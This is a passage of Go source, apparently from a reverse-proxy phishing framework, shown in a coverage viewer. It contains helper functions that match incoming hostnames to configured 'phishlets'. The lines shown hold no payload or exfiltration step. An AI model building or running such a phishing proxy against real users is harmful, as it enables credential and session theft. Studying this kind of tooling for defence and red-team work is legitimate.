(hostname string)
| 1654 | } |
| 1655 | |
| 1656 | func (p *HttpProxy) getPhishletByOrigHost(hostname string) *Phishlet { |
| 1657 | for site, pl := range p.cfg.phishlets { |
| 1658 | if p.cfg.IsSiteEnabled(site) { |
| 1659 | for _, ph := range pl.proxyHosts { |
| 1660 | if hostname == combineHost(ph.orig_subdomain, ph.domain) { |
| 1661 | return pl |
| 1662 | } |
| 1663 | } |
| 1664 | } |
| 1665 | } |
| 1666 | return nil |
| 1667 | } |
| 1668 | |
| 1669 | func (p *HttpProxy) getPhishletByPhishHost(hostname string) *Phishlet { |
| 1670 | for site, pl := range p.cfg.phishlets { |
no test coverage detected